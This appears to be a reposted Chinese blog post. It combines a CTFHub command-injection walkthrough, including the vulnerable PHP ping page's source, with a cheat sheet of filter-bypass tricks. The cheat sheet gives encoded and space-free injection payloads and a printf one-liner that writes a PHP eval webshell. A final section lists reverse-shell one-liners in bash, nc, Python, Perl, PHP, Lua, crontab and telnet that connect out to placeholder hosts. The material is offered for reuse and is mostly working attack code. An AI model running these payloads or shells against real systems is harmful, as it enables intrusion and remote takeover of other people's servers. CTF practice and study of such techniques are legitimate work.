CTFHUB-RCE通关记录以及常见的绕过过滤的方法

先过关,再分析相关的防御源代码

1.过滤cat

然后cat 301472130920273.php然后查看网页源代码即可得到flag

2.过滤cat

根据题目要求过滤了cat 而该服务器为Linux系统区分大小写 就无法通过大小写来绕过 本来想使用vi命令替换cat命令也能查看到flag中的内容 但是失败了 最后用了替换法:127.0.0.0 ; $a=ca;$b=t; $a$b flagxxxx

题目源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-过滤cat</title>
</head>
<body>

<h1>CTFHub 命令注入-过滤cat</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

过滤空格

先进行过滤空格总结,在linux环境下进行试验
1:<> 2:< 3:${IFS}
在这里插入图片描述
由于${IFS}没有什么问题,用它来解题,同理先查看文件 127.0.0.1||ls

然后利用127.0.0.1;cat${IFS}flagxxxx

 
 

过滤目录分隔符

使用127.0.0.1;cd flag_is_here;ls

然后cat即可

综合过滤练习

查看源码发现就是将前面几关的过滤结合在一起

这就真的全过滤了,这里就要用到另外两种命令分隔符了%0a(换行符) 、%0d(回车符),并且在url下写入:?ip=127.0.0.1%0als#

接下来查看flag_is_here文件夹,我这里使用Hex编码查看,
?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")#

得到了flag的文件名,接下来就是读取了,由于过滤了cat,可以用ca''t或ca""t来绕过,并且对下面进行16进制编码
ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x36\x33\x31\x38\x31\x35\x30\x35\x33\x33\x34\x2e\x70\x68\x70")#



命令执行的一些绕过技巧

① 空格过滤

空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

② 一些命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

1、在 shell 中,担任”连续指令”功能的符号就是”;
2、"&" 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。
3、管道符"|"左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

③ 花括号的别样用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
在这里插入图片描述

④ 黑名单绕过

1、拼接绕过
比如:a=l;b=s;$a$b
上面的第二道题目也是利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
2、编码绕过
base64:

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

3、单引号和双引号绕过
比如:ca''t flagca""t flag
4、反斜杠绕过
比如:ca\t fl\ag
5、利用Shell 特殊变量绕过

变量 含义
$0 当前脚本的文件名
$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$# 传递给脚本或函数的参数个数
$* 传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@ 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同
$? 上个命令的推出状态,或函数的返回值
$$ 当前shell进程ID

linux shell中$n表示传递给脚本或函数的参数。n 是一个数字,表示第几个参数。
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g
ca$1t fla$2g

⑤长度限制

长度限制可以用文件构造的方式来绕过。

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

利用这些特性,即可以成功绕过长度限制来执行命令。

⑥ 内联执行

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
例如:echo “a`pwd`”
在这里插入图片描述
于此类似的还有$(command).
例如:echo “abcd $(pwd)”
在这里插入图片描述

⑦ 通配符

常用的一些linux shell通配符:

字符 解释
* 匹配任意长度任意字符
匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
{str1,str2} 匹配str1或者str2字符,也可以是集合
IFS 由<space>或<tab>或
CR 由<enter>产生
! 执行history中的命令

其中:

  • [...]表示匹配方括号之中的任意一个字符。
    比如[aeiou]可以匹配五个元音字母,[a-z]匹配任意小写字母。
  • {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

$ echo d{a,e,i,u,o}g
dag deg dig dug dog

#大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png
#{start…end}匹配连续字符
$ cat /f{0…z}ag
this_is_you_find_flag

{...}[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

注:上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?或*这样的通配符,不能匹配路径分隔符(/)。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt

合理运用通配符有时可以达到意想不到的效果。
例如:

 cat fla* 
 cat${IFS}fl*
 ...

 
 

 

在这里插入图片描述

⑧反弹shell

bash方式

$ bash -c "sh >& /dev/tcp/your ip/port 0>&1"

 
 

 

exec方式

$ exec 5<>/dev/tcp/ip/port

$ cat <&5 | while read line; do $line 2>&5 >&5; done

nc方式

本机运行:
nc -l -vv -p port
目标主机:
nc -e /bin/bash ip port

 
 

 

python方式

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 
 

 

另一种:

  python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

 
 
  •  

Perl方式

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 
 

 

php方式

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

 
 

 

lua方式

lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#需要lua socket支持,且lua5.2+不支持luasocket

 
 

 

crontab方式

crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是 /var/spool/cron/ 目录,ubuntu是
/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。

SHELL=/bin/bash

  • /bin/bash -i >& /dev/tcp/ip/port 0>&1

telnet方式

mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe

 

⑨ linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq、

猜你喜欢

转载自blog.csdn.net/weixin_40602516/article/details/115052023